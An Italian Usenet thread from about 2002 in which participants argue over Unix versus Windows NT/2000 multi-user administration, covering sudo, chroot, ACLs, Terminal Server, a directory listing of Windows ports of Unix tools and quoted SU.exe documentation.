                              and beta testers are welcome!

 cache ... ma questa e' un'altra storia.
e a me di Outlook, esattamente, cosa frega? visto che parlavo di 
Eudora?


 perche meglio ?
beh, lo vedrai


 Eudora?
era per evitare l'eventualita che un baco del client di posta spargesse ed
e seguisse files in giro per il sistema,un ambiente chrootata ti
eviterebbe questa eventualita.


 Giusto l'esecuzione di comandi come super-utente
quello c'e' gia ... mi interessava di piu una cosa che permettesse di
scegliere quali utenti possano fare cosa,cioe se voglio che "antonio"
possa installare programmi ad esempio senza essere amministratore,in unix
si fa (e' un calcio nelle gengive alla sicurezza ma si fa) e sudo mi
permette di gestirlo al meglio (chi fa cosa e come)


 E quindi non hai ancora dimostrato la tua tesi. 
quale ? che sotto unix la gestione di piu utenti nella stessa macchina e'
tremendamente piu comoda [1]perche ho tutti gli strumenti che mi servono e
anche di piu ? non so piu che dirti ... maya ogni 2 post tira fuori un
"non c'e' ? me lo scrivo io" ,sto cominciando a pensare che il vero
sistema operativo da "hackerz" sia win 2k ... non c'e' un accidente e devi
scriverti tutto :-)
[1] oltretutto ho dimostrato che il discorso delle acl che in unix
mancherebbero non ha senso visto che un kernel patchato mi permette di
fare cose che in win 2k non sono possibli,come evitare l'accesso raw a
risorse (socket,dischi) o di gestire le acl a files e directory in un
unico file di configurazione ... io continuo a chiamarla "comoda gestione
della multiutenza" tu chiamala come vuoi ...
PS :vale sempre l'invito a chiudere il tread,si rischia di finire sull'OT
andante.


 gira in user mode ...
leggi meglio. Indizio: è un po' difficile (direi impossibile) fare del 
real-time in user mode


 senza essere amministratore,
te lo sconsiglio. Vivamente. Anche se puoi, non farlo. Ci sono molte 
ragioni per cui è una pessima idea


 real-time in user mode
ohps .. sorry,lo carica come driver,ma quello che fa (ho letto di sfuggita
la documentazione di rtx) e' creare un sottosistema sostanzialmente
indipendente da nt su cui far girare tread e processi conn tanto di api
indipendenti ,oltretutto dicono che hanno dovuto fare cosi visto che i
sorgenti  del kernel di nt non sono disponibili,quello che fa e' creare un
 ambiente real time "parallelo" a nt senza modificare sostanzialmente il
kernel (hal o chi per lui) ... continuo a non vedere come pertinente un
paragone con una patch del kernel che va a modificare i sorgenti ...
sarebbe come se io caricassi (in linux) un modulo che mi intercetti tutte
le chiamate di sistema relative alla creazione di thread o simili e le 
eseguisse in un ambiente isolato ...  lo vedo molto diverso come concetto
dal modificare un  kernel perche si comporti cosi ... (imho ovviamente,ci
mancherebbe)


 ragioni per cui è una pessima idea
se hai una workstation con linux in qualche modo dovrai fare per fargli
spegnere il computer a quei poveri diavoli ;-)
sudo non e' l'apoteosi della sicurezza ma e' l'unico modo "elegante" per
risolvere situazioni come questa (shutdown) .Scusa ma in nt se hai bisogno
che un utente lanci un programma come amministratore (o come un altro
utente proprietario del file) che fai ?


 gestire ogni cosa va meglio ?
continuano a fare tutto altri programmi. Continui a perderti per 
strada. Qui non ci si limita ad esporre dati di fatto, qui si cerca 
anche di capire





 fai ? 
non lo fai. E un programma che ti costringe a farlo č progettato male


 ma se hai bisogno che [...]
non ne ho bisogno, è questo il punto


 PS : chiudiamo pure qui ?
non finchè in questo thread rimangono rami del genere senza essere 
potati


 kernel che va a modificare i sorgenti ...
l'effetto è identico, il concetto pure. Non capisco a cosa stai 
pensando


 manipolabile comodamente da shell ... sotto win invece ? 
Per piacere... non insistere ad avere ragione... dimostri solo la
confusione che hai in testa...
f/up to junk
-- 
HappyCactus - Linux User #209744 - LFS User #6046 - >>> SMSPM1050 <<<
              YAGF Member Group >>> 
www.google.com
 <<<
Ci sono 10 categorie di persone al mondo: quelle che capiscono
il sistema binario e quelle che non lo capiscono.

 fare cose che in win 2k non sono possibli,come evitare l'accesso raw a
Visto che sei fissato sulle tue idee, e' inutile continuare a
discutere...
/me si allontana squotendo la testa


> innovazione.
Ti racconto una favola ... terminal server in nt4 esisteva,ma non era
prodotto dalla microsoft,ma dalla citrix,e guarda caso funzionava con una
versione modificata del kernel,e andarono pure a stuprare "hal" per farlo
funzionare (documentato)tanto e' vero che alcune applicazioni per nt non
giravano sotto terminal server ora tu puoi obiettare che lo avessero fatto
per motivi prestazionali,ma sei convinta che un'azienda esterna alla
microsoft stupri un kernel (con tutti i costi di sviluppo che questo
comporta)impedendo ad altre applicazioni di girare solo
per motivi di prestazioni ? poi la microsoft fece scadere la licenza e
compro' tutto il progetto e il mondo ha avuto terminal server incluso in
win 2k .... 
la verita e' che nt era studiato per girare sulle workstation e non per
gestire accessi simultanei da parte di piu utenti e questo si vede,visto
che i software che lo permettono per farlo hanno dovuto stravolgere il
sistema operativo.


 anche di capire
e'diversa la concezione di "altri programmi" ,unix e' pieno di programmini
che fanno il minimo indispensabile (prendi get,wc ..) non contano tanto 
loro di per se quanto la loro interazione (gestita dalla bash),ricordo il
primo giorno di universita il professore che riferendosi alle 2 diverse
filosofie di scrivere programmi defini quella unix come "scrivere
programmi piccoli che fanno poco  e bene  e legarli tra loro" e
quella win come "tanti programmi che fanno male tante cose e che manco ti
servono" .
steve e i coriandoli di word ...


 gestione del timer interrupt
dicono che hal l'hanno toccato il giusto per i motivi detti sopra(oh ..
questo e' quello che dicono loro ... non potendo fare un diff e vedere le
differenze non ho la certezza e mi devo fidare)


 bash),
La bash non gestisce proprio un bel niente (di quello che dici)
Unisce solo le pipes, il resto lo fa l'IPC (stdin/stout, eccetera)


 momento? zero.
i driver girano nello spazio di indirizzamento del sistema operativo,se il
sistema operativo non e' configurato per indirizzare correttamente in
quello spazio gestendo piu programmi di utenti diversi che magari accedano
agli stessi indirizzi(cosa che nt _non_ _aveva_ ) ogni accesso di un
programma utente in kernel space era un tentato suicidio,compresi gli
accessi ai device (dischi fissi ,cdrom, etc...) visto che ai device ci
accedi attraverso i driver e indovina dove stanno i driver in memoria ...


 Unisce solo le pipes, il resto lo fa l'IPC (stdin/stout, eccetera)
ah perche quando in uno script di shell poni una condizione i programmi non
interagiscono ? uno aspetta l'esito dell'altro e in base a quello si
comporta di conseguenza ... io questa la chiamo interazione e la gestisce
la shell.


 non lo fai. E un programma che ti costringe a farlo è progettato male
se tu ad esempio avessi bisogno di avere un programma che utilizza i raw
socket (in win xp sp1 dovrebbe essere consentito solo all'amministratore
se non sbaglio ... ) o comunque un programma che durante la sua esecuzione
ha bisogno dei privilegi di amministratore per un certo momento, puoi
switchare utente come in unix per renderlo eseguibile da un utente senza
rischiare troppo (quello che fa apache o altri demoni per intenderci ...) ?


 /me si allontana squotendo la testa
sorry non volevo si trasformasse in un flame .
/me abbandona il tread.


 interazione e la gestisce la shell.
No, la gestisce il programma stesso o il sistema operativo (dipende
dalle situazioni)
HappyCactus e waitpid, signal, etc...


 ed esempi di applicazioni user space che esistono anche per win.
Io si'. <g>


 ed esempi di applicazioni user space che esistono anche per win.
me lo sto chiedendo anch'io e abbandono (sul serio) il tread


 programmini che fanno il minimo indispensabile (prendi get,wc ..)
chiedo scusa per la lunghezza, ma qua sennò non si va più avanti (se 
volete sapere dove ho trovato cosa basta che me lo chiediate - e no, 
niente Cygwin, sono tutti programmi Windows):
D:\wbin>dir
 Il volume nell'unità D è /
 Numero di serie del volume: A999-F621
 Directory di D:\wbin
16/12/2002  22.21       <DIR>          .
16/12/2002  22.21       <DIR>          ..
11/11/1999  00.00                5.632 ansi2knr.exe
08/03/2002  01.09                  739 backuplist.js
11/11/1999  00.00                7.680 basename.exe
11/11/1999  00.00               52.736 bc.exe
11/11/1999  00.00               82.432 bison.exe
26/07/2000  17.50               45.056 BMP2PNG.EXE
11/11/1999  00.00               41.984 bunzip2.exe
11/11/1999  00.00               50.176 bzip2.exe
11/11/1999  00.00                6.144 bzip2recover.exe
15/07/2000  13.13              692.224 c2.exe
11/11/1999  00.00               22.016 cat.exe
06/08/2002  16.51                   16 cc.cmd
07/09/2002  15.40                   30 cdd.bat
11/11/1999  00.00               24.064 chgrp.exe
11/11/1999  00.00               22.528 chmod.exe
17/02/2000  16.05               55.808 chown.exe
11/11/1999  00.00               19.968 cksum.exe
11/11/1999  00.00               11.264 cmp.exe
11/11/1999  00.00               20.992 comm.exe
11/11/1999  00.00               25.597 compress.exe
09/10/2000  23.00               73.728 cp.exe
11/11/1999  00.00               65.024 csplit.exe
11/11/1999  00.00               24.064 cut.exe
30/07/2002  02.03              937.984 cvs.exe
30/07/2002  02.02              872.448 cvs95.exe
08/06/1998  12.32               15.632 Cvtres.exe
09/10/2000  23.00               39.424 date.exe
11/11/1999  00.00               25.600 dc.exe
11/11/1999  00.00               32.768 dd.exe
08/08/2002  18.41               55.808 dddd.exe
11/11/1999  00.00               26.112 df.exe
11/11/1999  00.00               70.144 diff.exe
11/11/1999  00.00               23.040 diff3.exe
18/05/2001  05.55               28.672 dig.exe
11/11/1999  00.00               28.160 dircolors.exe
11/11/1999  00.00                7.168 dirname.exe
18/05/2001  06.31               16.384 dnskeygen.exe
11/11/1999  00.00               26.112 du.exe
11/11/1999  00.00                7.680 echo.exe
11/11/1999  00.00               82.944 egrep.exe
09/10/2000  23.00                8.192 env.exe
11/11/1999  00.00               20.992 expand.exe
11/11/1999  00.00               13.824 expr.exe
30/07/2002  02.02               15.360 ext_protocol.dll
11/11/1999  00.00               18.432 factor.exe
10/09/2002  02.25                1.865 fetch.cmd
11/11/1999  00.00               82.944 fgrep.exe
09/10/2000  23.00               65.536 find.exe
19/02/2000  01.04               19.968 finger.exe
11/11/1999  00.00              146.432 flex.exe
11/11/1999  00.00               24.064 fmt.exe
11/11/1999  00.00               21.504 fold.exe
30/07/2002  02.02               14.848 fork_protocol.dll
11/11/1999  00.00                6.144 fsplit.exe
14/01/2001  18.34               53.248 funzip.exe
14/01/2001  00.50                4.068 funzip.txt
11/11/1999  00.00              153.600 gawk.exe
09/10/2000  23.00                8.192 gclip.exe
09/06/2001  13.30               94.720 gif2png.exe
09/10/2000  23.00                4.608 gplay.exe
11/11/1999  00.00               82.944 grep.exe
11/11/1999  00.00               15.360 gsar.exe
30/07/2002  02.02               18.432 gserver_protocol.dll
11/11/1999  00.00               49.152 gunzip.exe
11/11/1999  00.00               49.152 gzip.exe
11/11/1999  00.00               24.064 head.exe
20/11/2002  17.38              754.904 hfnetchk.exe
08/04/2002  05.25               52.224 hibernate.exe
16/07/2001  08.02                   77 hideini.cmd
18/05/2001  06.23               28.672 host.exe
11/11/1999  00.00               10.240 id.exe
11/11/1999  00.00               57.344 indent.exe
11/11/1999  00.00               55.808 install.exe
31/03/2001  14.46               37.888 INSTSRV.EXE
11/11/1999  00.00               27.136 join.exe
26/04/2000  06.29               36.864 JUNCTION.EXE
09/10/2000  23.00               49.152 jwhois.exe
11/11/1999  00.00               77.312 less.exe
11/11/1999  00.00               69.632 ln.exe
11/11/1999  00.00                7.680 logname.exe
11/11/1999  00.00               57.856 ls.exe
11/11/1999  00.00               83.456 m4.exe
09/10/2000  23.00              126.976 make.exe
11/11/1999  00.00                6.144 makemsg.exe
11/11/1999  00.00               38.912 man.exe
11/11/1999  00.00               28.160 md5sum.exe
04/08/2001  19.35                3.584 mkdev.exe
09/10/2000  23.00               32.768 mkdir.exe
11/11/1999  00.00               14.336 mkfifo.exe
11/11/1999  00.00               21.504 mknod.exe
01/12/2002  05.15              180.862 mssecure.cab
01/12/2002  05.15            1.403.907 MSSecure.XML
09/10/2000  23.00               69.632 mv.exe
11/11/1999  00.00               20.480 mvdir.exe
03/01/1998  14.37               59.392 nc.exe
18/05/2002  04.16               13.770 NEWS
11/11/1999  00.00               51.712 nl.exe
16/09/1994  06.00                5.056 NMAKE.ERR
16/09/1994  06.00               65.536 NMAKE.EXE
02/11/2002  01.03                4.096 noshutdown.exe
30/03/2000  18.25                1.789 nslookup.help
18/05/2001  03.43               20.480 nsupdate.exe
09/08/2000  09.29               49.152 NTHANDLE.EXE
30/07/2002  02.02               14.848 ntserver_protocol.dll
11/11/1999  00.00               35.328 od.exe
11/11/1999  00.00               20.992 paste.exe
11/11/1999  00.00               59.904 patch.exe
11/11/1999  00.00               10.752 pathchk.exe
09/10/2000  23.00                8.192 pclip.exe
12/02/2001  02.15              522.240 pdftohtml.exe
14/01/2002  18.57              221.184 plink.exe
26/07/2000  17.50               46.080 PNG2BMP.EXE
11/11/1999  00.00               37.376 pr.exe
11/11/1999  00.00                7.680 printenv.exe
11/11/1999  00.00               13.312 printf.exe
27/08/2002  17.11               16.896 privcheck.exe
30/07/2002  02.02               16.896 pserver_protocol.dll
14/10/2000  07.20               77.824 psgetsid.exe
24/02/2000  01.52               77.824 pskill.exe
30/03/2000  21.19               49.152 pslist.exe
11/01/2001  13.11               45.056 psloggedon.exe
14/10/2000  07.08               53.248 psloglist.exe
12/10/2000  06.58               40.960 psshutdown.exe
21/11/2000  08.59               32.768 psuptime.exe
11/11/1999  00.00                2.560 pwd.exe
26/06/2001  14.36               37.648 qchain.exe
19/02/2000  01.04                3.854 readme.txt
04/05/2001  02.43                2.193 readme1sttools.txt
11/11/1999  00.00              386.048 recode.exe
27/11/2001  00.07               39.424 regsvrex.exe
09/10/2000  23.00               65.536 rm.exe
11/11/1999  00.00              137.216 rman.exe
04/08/2001  19.35                3.584 rmdev.exe
09/10/2000  23.00               28.672 rmdir.exe
30/11/2001  08.32                4.022 sample.wgetrc
14/01/2002  18.57              229.376 scp.exe
11/11/1999  00.00               17.920 sdiff.exe
11/11/1999  00.00               46.080 sed.exe
11/11/1999  00.00               18.432 seq.exe
16/07/2001  07.12                  180 seticon.cmd
14/01/2002  18.57              225.280 sftp.exe
14/01/2001  19.30               26.112 SFXWiz32-gcc.exe
14/01/2001  18.35               45.056 SFXWiz32.exe
11/11/1999  00.00               35.328 shar.exe
11/11/1999  00.00               16.384 sleep.exe
11/11/1999  00.00               38.400 sort.exe
21/08/2002  00.46                1.433 sp3pull.cmd
10/02/2002  21.35            1.318.912 splint.exe
11/11/1999  00.00               23.552 split.exe
22/11/1998  07.09                8.464 srvany.exe
30/07/2002  02.02               20.992 sspi_protocol.dll
21/06/2002  21.40            2.493.440 stlp45.dll
21/06/2002  21.40            3.034.112 stlp_stldebug45.dll
23/09/1999  08.35               32.768 STREAMS.EXE
04/04/2002  01.25               40.448 stunnel.exe
11/11/1999  00.00               13.312 su.exe
11/11/1999  00.00               19.456 sum.exe
11/11/1999  00.00               19.456 sync.exe
11/11/1999  00.00               49.664 tac.exe
11/11/1999  00.00               35.328 tail.exe
11/11/1999  00.00              114.688 tar.exe
11/11/1999  00.00               16.896 tee.exe
11/11/1999  00.00               17.920 test.exe
20/11/2002  00.36               25.062 tickcount.exe
20/03/2001  01.43              143.360 tidy.exe
11/11/1999  00.00               35.840 touch.exe
11/11/1999  00.00               33.280 tr.exe
11/11/1999  00.00                3.584 type.exe
11/11/1999  00.00               16.896 uname.exe
12/07/2001  08.43               13.312 undecorate.exe
11/11/1999  00.00               20.992 unexpand.exe
11/11/1999  00.00               23.552 uniq.exe
11/11/1999  00.00               11.264 unshar.exe
14/01/2001  18.34              159.744 unzip.exe
14/01/2001  00.50               47.915 unzip.txt
14/01/2001  19.27               22.528 unzipsfx-gcc.exe
14/01/2001  18.34               48.640 unzipsfx.exe
14/01/2001  00.50               14.019 unzipsfx.txt
11/11/1999  00.00               10.240 uudecode.exe
11/11/1999  00.00                9.728 uuencode.exe
07/08/2001  22.07                  170 warnbozo.cmd
11/11/1999  00.00               29.696 wc.exe
29/05/2002  09.37              212.992 WGET.EXE
29/05/2002  09.37              137.591 WGET.HLP
29/05/2002  09.37              172.376 wget.html
11/11/1999  00.00               12.288 which.exe
11/11/1999  00.00                7.680 whoami.exe
19/02/2000  01.04               32.768 whois.exe
06/06/2002  19.07                  155 whois.ini
03/07/2002  02.21               18.944 winkill.exe
09/10/2000  23.00               45.124 xargs.exe
11/11/1999  00.00                7.168 yes.exe
11/11/1999  00.00               12.288 zcat.exe
21/12/1999  17.42              126.976 zip.exe
21/12/1999  17.42               69.632 zipcloak.exe
14/01/2001  00.50               24.455 zipinfo.txt
30/12/2000  19.06                9.214 ziplimit.txt
21/12/1999  17.42               61.440 zipnote.exe
21/12/1999  17.42               57.344 zipsplit.exe
09/10/2000  23.00              426.256 zsh.exe
             200 File     20.471.291 byte
               2 Directory   1.697.873.920 byte disponibili


 comodamente da shell ... sotto win invece ?
Bash su Windows esiste, ma essendo un esecutore di comandi (incorporati o
esterni) non mi ci focalizzerei piu' di tanto. Se si usa cmd.exe o il
vecchio 
command.com
 che non hanno un linguaggio come quello di bash, si
puo' sempre usare Perl (che ha infiniti moduli aggiuntivi e anche di piu',
liberamente disponibili). Sui file di configurazione, non posso dire
molto, ma tenderei a pensare che come su Unix abbiamo /etc/programma.conf,
su Windows potremmo benissimo avere C:\<qualcosa>\programma.conf. Mica e'
obbligo mettere tutto nel registry :-)
-- 
"Ehi, fratelli. Qui c'e' scritto che c'e' anche il tempo per combattere".
SETI@home: 148WU/8233hrs on a P166MMX :-)
SecurFaq             : 
http://securfaq.usenet.eu.org
Biancorossi Siamo Noi: 
http://www.tifonet.it/free/ancona/

 fidare)
no, non serve fidarti, basta sapere. E' noto che l'HAL implementa (tra 
le altre cose) l'assegnazione e la gestione degli interrupt, e che non 
permette la ridefinizione dell'handler del timer interrupt, per motivi 
comprensibili


 (quello che fa apache o altri demoni per intenderci ...) ?
apache fa il contrario. apache da super-utente cazzuto diventa un 
modesto Nessuno quando necessario. Cosa che è consentita anche in 
Windows. Documentata no, ma a me non serve nessuna documentazione


 Ehi, ma tu bari! :-ppp
no, perchč? le *_protocol.dll sono roba del client CVS. Di piů non so


 Windows. Documentata no, ma a me non serve nessuna documentazione
E' quello che fa la stragrande maggioranza dei programmi
(sudo compreso): partono suid root, quindi droppano i privilegi che non
servono, eventualmente trasformandosi in un altro utente
(geteuid/setuid)



li uso da quasi un anno. A parte qualche open("/dev/tty") ramingo 
rimasto in alcuni programmi - ma dovrei decidermi ad aggiornare - 
funziona tutto in modo sorprendentemente pulito. Tranne la shell. 
Quella č un colabrodo (ma, ancora, forse dovrei solo aggiornare)


 ...
Sbav... :-)
BTW, MSSecure.XML cos'e'?
(non per niente, dal 7 potrei averne bisogno...)


 sono tutte chiamate di libreria, 
uh ? cioe ? 


 It's up to you.
mi scoccia lasciare discussioni aperte,soprattutto se i toni sono questi.


 Windows. Documentata no, ma a me non serve nessuna documentazione
perche ? scienza infusa ? perche non e' documentata scusa ?


 filtro
lol,sorry


 tutto nel registry :-)
si ma tutti i files di configurazione del sistema operativo,dei programmi
microsoft,del 90 % dei programmi scritti da terze parti stanno li ... non
e' che sia una cosa negativa,ha un senso che tutte le configurazioni siano
residenti nello stesso punto,magari il registry non e' sta gran
implementazione ma l'idea non e' male,solo che questo si concilia maluccio
con la gestione da linea di comando (specialmente via script) del resto
alla microsoft hanno iniziato tardi a rendere possibile amministrare
(decentemente) il sistema da linea di comando,il registry e' piu anziano.
(agree su tutto il resto (specialmente sul perl ...)


 Quella è un colabrodo (ma, ancora, forse dovrei solo aggiornare)
se colabrodo e' riferito alla sicurezza anche cygwin in ambiente
multiutente ha seri problemi.


"fico". Giusto per dimostrarti che Windows può e meglio
Scusa, perche' vuoi fare il lavoro 2 volte?
Su.exe per NT4 non va bene?
Dal RK:
SU lets you start a process running as an arbitrary user. It is named
after the SU (Switch Users) utility of the UNIX family of operating
systems.
Providing that the specified domain, username, and password are
correct, the new process runs in the security context of that user.
The new process starts with an environment block representing the
per-user environment variables that Windows NT maintains. When the new
process starts, the Registry hive representing the target user,
accessed through the HKEY_CURRENT_USER key, is available to the
process. Both of these behaviors can be disabled.
The logon type equates to the logon right required by the target user
(who was granted the privileges).  Furthermore, the logon type
dictates how the access token representing the target user is
populated. The security ID (SID) with type SE_GROUP_LOGON_ID in the
access token for the new process represents the type of logon: Batch,
Interactive, or Service. Logon rights can be granted through User
Manager.
In this release of SU, the caller no longer needs the following
privileges:
SeTcbPrivilege "Act as part of the operating system"
	SeIncreateQuotaPrivilege "Increase Quotas"
	SeAssignPrimaryTokenPrivilege "Replace a process level token"
	SeRestorePrivilege "Restore files and directories" (required
only for preparation of user Registry hive)
In order to support this, the user must install a new service-based
component used by SU. The service component is encapsulated in the
executable SUSS.EXE, and this is installed by issuing the following
command line at a Windows NT command prompt (CMD.EXE):
suss.exe -install
You must be an administrator in order to install the service in this
manner. Once the service is installed, users may use SU without having
the four privileges mentioned above. If you are upgrading over an
previous installation of SU, you should revoke the above mentioned
privileges from any users or groups to whom they were previously
granted. You can do this with User Manager (USRMGR.EXE or
MUSRMGR.EXE).
The service can be configured to run in the Local System account or
any account that has been assigned the privileges that were previously
necessary in the stand-alone version. By default, the service allows
anybody to use SU, but that can be regulated by changing the ACL on a
particular Registry key (the ACL itself will map to whom the service
allows to use SU).
Ciao
-- 
Francesco

 eventuali file temporanei o simili
alt! Sono un genio. Se quello che ho in mente funziona come penso 
debba, dovrete osannarmi e portarmi in trionfo


 perche non e' documentata scusa ?
la system call (questa sì) NtCreateToken, che crea un "token" (oggetto 
da associare ad un processo o ad un thread, che identifica il soggetto 
delle operazioni su oggetti secured compiute da un thread) con l'user-
id che ti pare, i gruppi che ti pare, i privilegi che ti pare senza un 
login vero e proprio non lo è <prende fiato>


 (non per niente, dal 7 potrei averne bisogno...)
basta chiedere. Specialmente ora che ho finalmente deciso di ascoltare 
i miei stessi consigli, di non star seduti passivi ad aspettare


 uh ? cioe ? 
le chiamate di sistema sono altre, come ti ho già detto. Win32 ci mette 
molto di suo, al di sopra


 se colabrodo e' riferito alla sicurezza [...]
no, parlo dei bug. Il mio preferito è il buffer overflow a vista - se 
la console è più larga di tot (credo 80 colonne) appare, a fine riga, 
una sequenza di rumenta non meglio identificata. Se il comando sta su 
più righe, rumenta ancora più fantasiosa. Se il comando è lungo oltre 
un certo altro tot (chessò, qualche KB di "aaa") succedono altre cose 
alquanto curiose. Comunque credo sia solo un problema del line editor



TNX per le info. Da gennaio puo' darsi che mi serviranno :-)


 TNX per le info. Da gennaio puo' darsi che mi serviranno :-)
cambiato lavoro?


 provarla 
zitta, cretina. Impara a leggere, piuttosto:
"LoadUserProfile
The LoadUserProfile function loads the specified user's profile. The 
profile can be a local user profile or a roaming user profile.
[...]"
Arrrrrgh. E pensare alle cellule cerebrali che c'ho perso su


 login vero e proprio non lo è <prende fiato>
ma come fai a inserirla in un programma lanciabile  da un utente normale
poi ? io questo non ho ancora capito ... mi sfugge quel "sydo"


 è rimasto lo stesso, e la sostituzione dell'HAL è cosa supportata
si ma quello che dicevo io era che il kernel era rimasto piu o meno lo
stesso in quanto le normali chiamate di sistema che arrivano dalla win 32
vengono eseguite normalmente,quelle riferite all'interfaccia di rtx
vengono eseguite in zone separate della memoria (sempre in kernel space
pero .. ovviamente) dal sottosistema rtx


 attraverso i driver e indovina dove stanno i driver in memoria ... 
questo discorso è semplicemente ridicolo. Non ho la più pallida idea di 
come tu faccia a dire tante cose così false e contraddittorie, non solo 
con la realtà delle cose, ma con l'esperienza di prima mano di chiunque
Lasciami risponderti: no, no, no, e no. Il problema ti sfugge. Terminal 
Services funziona per magia, mettiamola così, ok?


 i miei stessi consigli, di non star seduti passivi ad aspettare
Ok (guarda che potrebbe essere equivalente a un mailbomb :-)) )
Eventualmente su it.comp.os.win.win2000.


 Providing that the specified domain, username, and password [...]
                                                     ^^^^^^^^
... e il punto è proprio questo


 cambiato lavoro?
Si' (in mail pero').
-- 
"Ehi, fratelli. Qui c'e' scritto che c'e' anche il tempo per combattere".
SETI@home: 149WU/8295hrs on a P166MMX :-)


 E ho lasciato fuori kde e compagnia bella sotto /opt
Com'e' il port di kde? =:-)


 La risposta è negli headers......
ma il tuo è i-tagliano, mica engrish
